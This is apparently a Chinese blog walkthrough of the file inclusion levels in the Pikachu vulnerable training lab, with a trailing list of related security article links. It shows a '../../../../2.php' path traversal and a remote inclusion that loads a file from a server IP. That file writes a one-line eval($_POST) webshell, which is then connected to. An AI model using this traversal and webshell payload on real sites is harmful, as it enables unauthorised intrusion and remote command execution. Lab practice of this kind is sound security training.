pikachu文件包含漏洞靶场通关攻略

本地文件包含

首先,在靶场根目录下创建一个php文件,内容是phpinfo();

其次,上传一个任意球星图片,会跳转到带有filename参数的php文件下

然后,将filename的参数改为可以访问到我们创建的php文件的地址

../../../../2.php

就可以访问到我们的phpinfo

远程文件包含

在进行远程文件包含时,要先修改两个参数

php.ini下的allow_url_include和allow_url_fopen两个参数改为On,前面的冒号也要删掉

(看自己是什么版本的PHP,要和版本对应)

进行任意图片提交

在云服务器上创建一个2.txt文件 内容是

复制代码
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

就是创建一个shell.php 文件,文件内容为一句话木马

然后,将filename的参数改为我们2.txt的地址

http://47.121.191.208/2.txt

回车后就可以在fileinclude目录下找到我们上传的shell.php文件

接下来使用连接工具进行webshell连接,成功连接

相关推荐
小虚竹30 分钟前
使用仓颉语言实现 nanoid:一个安全的唯一 ID 生成器
运维·服务器·安全·鸿蒙
白帽子黑客罗哥1 小时前
常见Web安全漏洞全解析:从原理到防御的实战指南
数据库·web安全·渗透测试·漏洞利用·权限提升
数安3000天10 小时前
政务数据治理构建可知可管可控的API安全网关体系建设实践
安全·政务
KKKlucifer13 小时前
当UAF漏洞敲响提权警钟:技术剖析与应对之道
网络·安全
-曾牛13 小时前
深入理解XXE外部实体注入漏洞:原理、利用与防护
网络·安全·网络安全·渗透测试·xxe·漏洞原理·owaspf
lht63193561213 小时前
部署开源漏洞扫描工具SiriusScan及问题解决
linux·安全·开源
2501_9387802814 小时前
《Zookeeper 节点权限控制:ACL 策略配置与安全防护实践》
分布式·安全·zookeeper
kaixin_啊啊15 小时前
从被动防御到主动管控:雷池SafeLine的远程安全运营之道
安全
Java之路行者16 小时前
Spring Boot防重复提交实战:让接口安全提升200%!
spring boot·后端·安全
老赵聊算法、大模型备案16 小时前
国家网络安全事件报告管理办法
安全·web安全